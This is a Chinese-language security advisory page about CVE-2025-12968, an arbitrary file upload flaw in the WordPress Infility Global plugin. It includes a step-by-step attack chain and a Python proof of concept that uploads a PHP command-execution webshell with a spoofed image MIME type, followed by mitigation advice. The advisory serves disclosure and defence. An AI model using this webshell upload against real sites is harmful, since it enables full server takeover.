IPBUF安全漏洞报告
English
CVE-2025-12968 CVSS 8.8 高危

CVE-2025-12968 WordPress Infility Global插件任意文件上传漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-12968
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Infility Global plugin for WordPress

相关标签

任意文件上传远程代码执行WordPress插件漏洞CVE-2025-12968MIME类型绕过权限验证缺失Infility GlobalWebshell上传

漏洞概述

CVE-2025-12968是WordPress Infility Global插件中的一个高危安全漏洞,CVSS评分8.8。该漏洞存在于所有2.14.42及以下版本中,由于插件的`infility_import_file`类中的`upload_file`函数仅验证MIME类型(可被轻易伪造),且`import_data`函数缺少权限检查,导致认证攻击者可在拥有订阅者级别访问权限的情况下上传任意文件到服务器。成功利用此漏洞可能实现远程代码执行,使攻击者完全控制受影响的WordPress网站。

技术细节

漏洞根源在于Infility Global插件对文件上传的处理存在多重安全缺陷。首先,`upload_file`函数依赖客户端提供的MIME类型进行验证,而MIME类型可在HTTP请求中轻易伪造,攻击者可将恶意PHP文件伪装为图片或其他合法文件类型上传。其次,`import_data`函数缺少WordPress capability检查,理论上任何已认证用户(包括订阅者级别的最低权限用户)都可调用该功能。攻击者只需构造包含恶意文件的POST请求,通过修改Content-Type和文件内容绕过前端检查,即可将.php webshell上传至服务器。一旦文件成功写入,攻击者可通过HTTP请求直接访问该文件,在服务器上执行任意命令,实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的有效认证凭据(订阅者级别或更高权限账户)
STEP 2
步骤2
攻击者构造恶意文件(包含PHP webshell代码),并将MIME类型伪装为合法图片类型如image/jpeg
STEP 3
步骤3
攻击者向wp-admin/admin-ajax.php发送POST请求,调用infility_import_file动作,上传伪装后的恶意文件
STEP 4
步骤4
由于插件仅检查MIME类型(可被伪造)且缺少权限验证,恶意文件成功写入服务器
STEP 5
步骤5
攻击者通过HTTP请求访问上传的webshell文件,在URL参数中传递系统命令
STEP 6
步骤6
webshell执行命令并返回结果,攻击者实现远程代码执行,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Webshell content webshell = '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>' # Prepare the file upload files = { 'file': ('shell.php', webshell, 'image/jpeg') # Spoof MIME type } data = { 'action': 'infility_import_file', 'filename': 'shell.php' } # Authentication cookie (subscriber level or higher) cookies = { 'wordpress_test_cookie': 'WP Cookie check', # Add valid WordPress session cookie here } # Send the malicious request try: response = requests.post( f'{target}/wp-admin/admin-ajax.php', files=files, data=data, cookies=cookies, verify=False ) print(f'Status: {response.status_code}') print(f'Response: {response.text}') except Exception as e: print(f'Error: {e}')

影响范围

Infility Global plugin for WordPress <= 2.14.42

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1) 限制非管理员用户的上传功能;2) 在.htaccess或nginx配置中禁用上传目录的PHP执行权限;3) 使用WordPress安全插件监控异常文件上传行为;4) 考虑暂时禁用Infility Global插件直到官方修复版本发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表